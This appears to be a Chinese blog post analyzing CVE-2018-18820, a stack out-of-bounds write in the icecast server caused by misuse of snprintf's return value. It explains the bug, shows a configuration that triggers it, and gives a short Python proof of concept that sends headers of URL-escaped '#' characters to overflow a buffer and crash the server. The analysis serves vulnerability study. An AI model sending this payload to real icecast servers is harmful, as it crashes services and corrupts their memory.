CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析
前言
icecast 是一款开源的流媒体服务器 , 当服务器配置了 url 认证时,服务器在处理 HTTP 头部字段时错误的使用了 snprintf 导致栈缓冲区的越界写漏洞( CVE-2018-18820 )。
影响版本
version 2.4.0, 2.4.1, 2.4.2 or 2.4.3
触发条件
配置文件中,对 <mount> 节点配置了 url 认证
了解 snprintf
snprintf 可以控制往目标缓冲区写数据的长度,比 sprintf 要安全一些。不过有些开发者可能会误解它的返回值, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度。
下面写一个 demo 演示下就清楚了。
#include <stdio.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char buf[100] = {0};
char large[2000] = {0};
memset(large, 'k', 1999);
int ret = snprintf(buf, 100, "xxx%s", large);
printf("%d\n", ret);
return 0;
}
运行结果
$ gcc test.c -o test -g
$ ./test
2002
可以看到 snprintf 的返回值是 2002 , 这个其实就是 "xxx%s", large 格式化解析生成的字符串的长度,而实际写入 buf 的数据长度为 100 字节。
环境搭建
从 gitlab 把源码下载下来,然后切换到一个有漏洞的分支,然后编译它。
git clone https://gitlab.xiph.org/xiph/icecast-server.git
cd icecast-server/
git reset a192f696c30635c98a6704451a4d9e5d9668108c --hard
git submodule update --init
./autogen.sh
./configure --with-curl
make -j4
sudo make install
编译完之后生成 src/icecast, 这个就是 icecast-server 的程序。
可以触发漏洞的配置文件(icecast.xml)
<icecast>
<location>Earth</location>
<admin>icemaster@localhost</admin>
<hostname>0.0.0.0</hostname>
<limits>
<clients>100</clients>
<sources>2</sources>
<queue-size>524288</queue-size>
<client-timeout>30</client-timeout>
<header-timeout>15</header-timeout>
<source-timeout>10</source-timeout>
<burst-size>655355</burst-size>
</limits>
<authentication>
<source-password>hackme</source-password>
<relay-password>hackme</relay-password>
<admin-user>admin</admin-user>
<admin-password>hackme</admin-password>
</authentication>
<listen-socket>
<port>8000</port>
</listen-socket>
<http-headers>
<header name="Access-Control-Allow-Origin" value="*" />
</http-headers>
<mount type="normal">
<mount-name>/auth_example.ogg</mount-name>
<authentication>
<role type="url" match-method="get,post,head,options" allow-web="*" deny-admin="*" may-alter="send_error,redirect">
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
<option name="client_remove" value="http://myauthserver.net/notify_listener.php"/>
<option name="action_add" value="listener_add"/>
<option name="action_remove" value="listener_remove"/>
<option name="headers" value="x-foo,x-bar"/>
</role>
<role type="anonymous" match-method="get,post,head,options" deny-all="*" />
</authentication>
<event-bindings>
<event type="url" trigger="source-connect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_add" />
</event>
<event type="url" trigger="source-disconnect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_remove" />
</event>
</event-bindings>
</mount>
<paths>
<basedir>/usr/local/share/icecast</basedir>
<logdir>/usr/local/var/log/icecast</logdir>
<webroot>/usr/local/share/icecast/web</webroot>
<adminroot>/usr/local/share/icecast/admin</adminroot>
<alias source="/" destination="/status.xsl"/>
</paths>
<logging>
<accesslog>access.log</accesslog>
<errorlog>error.log</errorlog>
<loglevel>information</loglevel> <!-- "debug", "information", "warning", or "error" -->
<logsize>10000</logsize> <!-- Max size of a logfile -->
</logging>
<security>
<chroot>false</chroot>
</security>
</icecast>
然后使用 -c 参数指定配置文件路径启动服务器
./src/icecast -c icecast.xml
PS: 可能会提示一些目录不存在,手动创建,然后修改权限给程序访问即可。

此时服务器会监听 8000 端口。
漏洞分析
漏洞位于 url_add_client, 下面来分析分析这个函数

首先判断 url->addurl 不能为空,然后取出了一些客户端请求的信息,比如 user-agnet。
一开始的配置文件被我删的过多,导致 url->addurl 一直为空,后来通过在源码里面搜索引用的地方发现它其实是从配置文件读取出来的 _

其实就是配置文件的 其中一个 option 节点的值
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
继续往下看

这里首先获取了请求的 url ,服务器的信息,然后把这些信息和之前拿到的 user-agent 使用 snprintf 拼接到 post 缓冲区里,这个缓冲区大小为 4096 。然后把返回值保存到了 post_offset.
接下来程序会从HTTP请求里面取出在配置文件中指定的 header 头部字段 的值。
<option name="headers" value="x-foo,x-bar"/>
在这里就是 x-foo 和 x-bar 首部字段的值,取出之后再次使用 snprintf 拼接到 post_offset 里面。

注意到此时 snprintf 的 第一个参数为
post + post_offset
返回值随后也是保存到 post_offset 里面。通过前面的了解,snprintf 的返回值,返回的是 解析格式化字符串后生成的字符串的长度。然后 snprintf 的 header_valesc 其实就是我们提交的首部字段的值。那我们就可以通过构造超长的 header_valesc 来使得 post_offset 变成一个比较大的值 (超过 post 缓冲区的大小), 这样在下一次调用 snprintf 时,就可以越界写栈上的数据了。
POC 构造
从漏洞位置往上看,发现修改 post_offset 就两处,一处是最开始的时候把 user_agent 拼接到 post
post_offset = snprintf(post, sizeof (post),
"action=%s&server=%s&port=%d&client=%lu&mount=%s"
"&user=%s&pass=%s&ip=%s&agent=%s",
url->addaction, /* already escaped */
server, port, client->con->id, mount, username,
password, ipaddr, user_agent);
第二次就是漏洞点
header_valesc = util_url_escape (header_val);
post_offset += snprintf(post + post_offset,
sizeof(post) - post_offset,
"&%s%s=%s",
url->prefix_headers ? url->prefix_headers : "",
cur_header, header_valesc);
开始想着直接发 超长的字符过去就行了,测试发现服务器对数据包的最大长度有限制(大概是 4000 字节左右),发太长的数据包,服务器直接拒绝掉了。
$ python poc.py
Traceback (most recent call last):
File "poc.py", line 11, in <module>
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 72, in get
return request('get', url, params=params, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 508, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 618, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/adapters.py", line 490, in send
raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', error(104, 'Connection reset by peer'))
这样的话其实是触发不了漏洞的(长度不够导致 post_offset 值也不够大)。
下面就在思考该怎么把长度凑够。
方法一
可以发现在第一次调 snprintf 时,把配置文件中的项拼接进去了( url->addaction), 第二次的调用会把配置文件中配置的 首部字段名 也拼接进去, 那修改配置文件,把这些项设置的长一些应该可以凑够越界的长度(估计漏洞作者就是这样干的)。
https://gitlab.xiph.org/xiph/icecast-server/issues/2342
方法二
最开始看代码时忽视了一个函数 util_url_escape , 发现从 HTTP 请求里面取出的数据 (user_agent 和 首部的值) 都会先用这个函数 处理一遍,然后去做拼接,测试发现这个函数是一个 url 编码函数。
我们知道一些特殊字符会 url 编码成 3 个字符,比如 # 就会被编码成 %23 .
所以我们可以用 会被 url 编码的特殊字符来让 post_offset 值足够超过 post 的大小,然后后面的调用就会触发越界写了。
poc
#!/usr/bin/env python
# encoding: utf-8
import requests
# 会把 # url 编码(%23),从而产生 3 倍的 字符
payload = "#" * 1000
headers = {}
headers['user-agent'] = payload
headers['x-foo'] = payload
headers['x-bar'] = payload
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
会修改掉一些栈上的数据,导致 服务器crash

CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析的更多相关文章
- CVE-2018-15688 systemd dhcp6组件越界写漏洞分析
编译的话 , 用 ubuntu 18.10, 没有 patch 的源码下载路径 https://codeload.github.com/poettering/systemd/zip/3941f8329 ...
- Netatalk CVE-2018–1160 越界访问漏洞分析
编译安装 首先下载带有漏洞的源代码 https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ 安装一些依赖库(可能不全,到时根据 ...
- 【转帖】intel 2018年1 月2号爆出漏洞分析 知乎匿名用户
作者:匿名用户链接:https://www.zhihu.com/question/265012502/answer/288407097来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载 ...
- 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞
这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- STATUS_STACK_BUFFER_OVERRUN不一定是栈缓冲区溢出
STATUS_STACK_BUFFER_OVERRUN异常一般是指栈缓冲区溢出的溢出,代码为0xC0000409,消息提示一般为“Security check failure or stack buf ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- STM32下FatFs的移植,实现了坏块管理,硬件ECC,ECC纠错,并进行擦写均衡分析
最近因项目需要,做一个数据采集的单片机平台.需要移植 FatFs .现在把最后成果贴上来. 1.摘要 在 STM32 单片机上,成功移植 FatFs 0.12b,使用的 Nand Flash 芯片为 ...
- Java性能分析之线程栈详解与性能分析
Java性能分析之线程栈详解 Java性能分析迈不过去的一个关键点是线程栈,新的性能班级也讲到了JVM这一块,所以本篇文章对线程栈进行基础知识普及以及如何对线程栈进行性能分析. 基本概念 线程堆栈也称 ...
随机推荐
- Django设置联合唯一约束 -- migrate时报错处理
异常信息: a unique database constraint for 2 or more fields together 场景描述: 对于ORM中多对多关系的中间表,如果该关系表是手动创建的, ...
- 课程二(Improving Deep Neural Networks: Hyperparameter tuning, Regularization and Optimization),第三周(Hyperparameter tuning, Batch Normalization and Programming Frameworks) —— 2.Programming assignments
Tensorflow Welcome to the Tensorflow Tutorial! In this notebook you will learn all the basics of Ten ...
- (转)centos 7 Tomcat 8.5 的安装及生产环境的搭建调优
原文:https://www.cnblogs.com/linhankbl/articles/9149804.html#top JVM菜鸟进阶高手之路七(tomcat调优以及tomcat7.8性能对比) ...
- IntelliJ Idea注释模板--类注释、方法注释
刚从Eclipse切换到IntelliJ Idea,之前使用eclipse时用到了注释模板,包括类注释和方法注释,现在分别讲一下在Intellij Idea中如何进行配置,作为备忘 一. 类注释模板配 ...
- koa2 接收post参数
koa2接收Post参数由于没有在上下文对象上解析,所以需要用node 原生req解析. 获取到的参数,要注意转码问题. const Koa = require('koa'); const app = ...
- Disruptor多个消费者不重复处理生产者发送过来的消息
1.定义事件事件(Event)就是通过 Disruptor 进行交换的数据类型. package com.ljq.disruptor; import java.io.Serializable; /** ...
- Yarn和Mesos:资源管理调度平台
目前得分布式系统中,对于资源管理都采用动态资源划分来取代静态资源划分.它有如下好处: 集群资源利用率高 增加数据共享能力,可以多种计算框架公用一份分布式存储数据. 资源管理抽象模型 概念模型 常见得资 ...
- Tomcat学习总结(3)——Tomcat优化详细教程
Tomcat是我们经常使用的 servlet容器之一,甚至很多线上产品都使用 Tomcat充当服务器.而且优化后的Tomcat性能提升显著,本文从以下几方面进行分析优化. 一.内存优化 默认情况下To ...
- [九省联考2018] 一双木棋 chess
Description 菲菲和牛牛在一块n 行m 列的棋盘上下棋,菲菲执黑棋先手,牛牛执白棋后手. 棋局开始时,棋盘上没有任何棋子,两人轮流在格子上落子,直到填满棋盘时结束. 落子的规则是:一个格子可 ...
- Jquery操作样式
1.CSS(name,value) 修改单个样式 $(function(){ $(".divcontent").css("background","r ...